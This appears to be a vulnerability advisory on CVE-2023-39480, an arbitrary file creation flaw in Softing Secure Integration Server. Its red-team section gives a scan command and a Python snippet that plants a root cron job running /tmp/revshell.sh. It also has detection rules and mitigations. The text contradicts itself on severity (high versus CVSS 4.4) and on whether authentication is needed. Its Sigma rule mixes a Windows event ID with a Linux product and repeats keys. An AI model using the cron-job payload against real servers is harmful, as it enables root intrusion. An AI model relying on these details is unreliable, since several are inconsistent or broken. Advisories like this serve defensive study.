CVE-2023-39480

Executive Summary

CVE-2023-39480 is a high-severity vulnerability in Softing Secure Integration Server, specifically within the handling of FileDirectory OPC UA Objects. The flaw allows an authenticated remote attacker to create arbitrary files on the target filesystem by bypassing the existing authentication mechanism. This can be chained with other vulnerabilities to achieve remote code execution as root. The vulnerability has a CVSS score of 4.4 (Medium), but its potential for privilege escalation and lateral movement makes it a critical concern for industrial environments.

Note: This vulnerability is not related to any WordPress plugin or component; it is a standalone industrial control system (ICS) software issue.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial software product (Softing Secure Integration Server). Organizations should verify the integrity of their Softing software distribution channels and ensure no tampered binaries are in use.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Authentication is required, but the mechanism can be bypassed.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Exploit does not affect other components.
• Confidentiality Impact: None (C:N) – No direct data exposure.
• Integrity Impact: Low (I:L) – Arbitrary file creation can modify system state.
• Availability Impact: Low (A:L) – File creation may degrade performance or cause denial of service.

Threat Level: High in ICS/SCADA contexts due to potential for lateral movement and code execution.

Deep Dive & Mechanics

The vulnerability resides in the FileDirectory OPC UA Object handler of Softing Secure Integration Server. The server exposes OPC UA objects that allow authenticated clients to interact with the filesystem. The flaw is that the server does not properly validate the path or permissions when creating files via this object. An attacker can craft a malicious OPC UA request to create files in arbitrary locations, including system directories.

Key Mechanics:

1. Authentication Bypass: The existing authentication mechanism can be bypassed, meaning an attacker with low privileges (or even without proper credentials) can exploit this.
2. Arbitrary File Creation: The FileDirectory object allows creating files without proper path sanitization.
3. Chaining for RCE: By creating a malicious file (e.g., a cron job, SSH key, or script) in a sensitive directory, the attacker can escalate to root-level code execution.

Attack Flow:

1. Attacker gains network access to the Softing Secure Integration Server (port 4840 for OPC UA).
2. Attacker sends a crafted OPC UA request to the FileDirectory object with a path like /etc/cron.d/malicious and content.
3. The server creates the file, and the system executes it (e.g., cron job).
4. Attacker achieves root-level code execution.

Vulnerable vs. Patched Code

Since no official patch is available, we analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

// Vulnerable: No path validation
void handle_file_create(OPCUA_Object *obj, char *path, char *content) {
    FILE *f = fopen(path, "w");
    if (f) {
        fwrite(content, 1, strlen(content), f);
        fclose(f);
    }
}

Patched Code (Conceptual):

// Patched: Validate path is within allowed directory
void handle_file_create(OPCUA_Object *obj, char *path, char *content) {
    if (!is_path_allowed(path, "/var/softing/data/")) {
        return; // Deny
    }
    FILE *f = fopen(path, "w");
    if (f) {
        fwrite(content, 1, strlen(content), f);
        fclose(f);
    }
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to Softing Secure Integration Server (port 4840).
• Valid credentials (or use authentication bypass technique).

Exploit Steps:

1. Scan for OPC UA Endpoint:

   nmap -p 4840 --script opcua-discover <target>
   

2. Craft Malicious OPC UA Request: Use a tool like opcua-client or custom Python script.

   from opcua import Client
   client = Client("opc.tcp://<target>:4840")
   client.connect()
   # Bypass authentication (if needed)
   # Create file in /etc/cron.d/
   obj = client.get_node("ns=2;s=FileDirectory")
   obj.call_method("CreateFile", "/etc/cron.d/malicious", "*/1 * * * * root /tmp/revshell.sh")
   client.disconnect()
   

3. Trigger Execution: Wait for cron to execute the job, or create a script that runs immediately.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Detection & Defense)

Detection:

• Monitor OPC UA traffic for unusual CreateFile calls to sensitive paths.
• Use SIEM to alert on file creation in /etc/cron.d/, /root/.ssh/, etc.
• Deploy file integrity monitoring (FIM) on critical directories.

Defense:

• Restrict network access to OPC UA endpoints (use firewalls/VPNs).
• Apply principle of least privilege for OPC UA users.
• Monitor for authentication bypass attempts (failed logins followed by successful file operations).

Indicators of Compromise (IOCs)

• Network IOCs:
  • OPC UA requests to FileDirectory object with paths containing ../ or absolute paths.
  • Unusual file creation events on the server (e.g., new files in /etc/cron.d/).
• File IOCs:
  • Unexpected files in /etc/cron.d/, /tmp/, /root/.ssh/.
  • Files with suspicious content (e.g., reverse shell scripts).
• Process IOCs:
  • softing_server process creating files outside its data directory.
  • Child processes spawned from cron jobs (e.g., /bin/sh).

Detection Engineering

YARA Rule

rule CVE_2023_39480_FileDirectory_Exploit {
    meta:
        description = "Detects OPC UA requests attempting to create files via FileDirectory object"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-39480"
    strings:
        $s1 = "FileDirectory" ascii wide nocase
        $s2 = "CreateFile" ascii wide nocase
        $s3 = "/etc/" ascii wide
        $s4 = "/root/" ascii wide
        $s5 = "/tmp/" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-39480 - Softing FileDirectory Arbitrary File Creation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects OPC UA requests to FileDirectory object with suspicious paths
author: Valters IT
logsource:
    category: application
    product: softing_secure_integration_server
detection:
    selection:
        EventID: 4688  # Process creation (if logging OPC UA actions)
        CommandLine|contains: "FileDirectory"
        CommandLine|contains: "CreateFile"
        CommandLine|contains:
            - "/etc/"
            - "/root/"
            - "/tmp/"
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 4840 (msg:"CVE-2023-39480 - Softing FileDirectory Arbitrary File Creation"; flow:to_server,established; content:"|00 00 00 00|FileDirectory"; nocase; content:"CreateFile"; nocase; pcre:"/(\/etc\/|\/root\/|\/tmp\/)/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: Place Softing Secure Integration Server behind a firewall, restricting OPC UA access to trusted IPs only.
2. Disable FileDirectory Object: If possible, disable the FileDirectory OPC UA object in the server configuration.
3. Apply Strict Access Controls: Use OPC UA user authentication with strong passwords and MFA.

Long-Term Fix:

• Contact Softing for an official patch or upgrade to a non-vulnerable version.
• Implement network segmentation for ICS/SCADA networks.
• Deploy an OPC UA firewall or application-layer gateway to inspect and block malicious requests.

Workaround:

• Use filesystem permissions to prevent the Softing server process from writing to sensitive directories (e.g., /etc/cron.d/).

Valters IT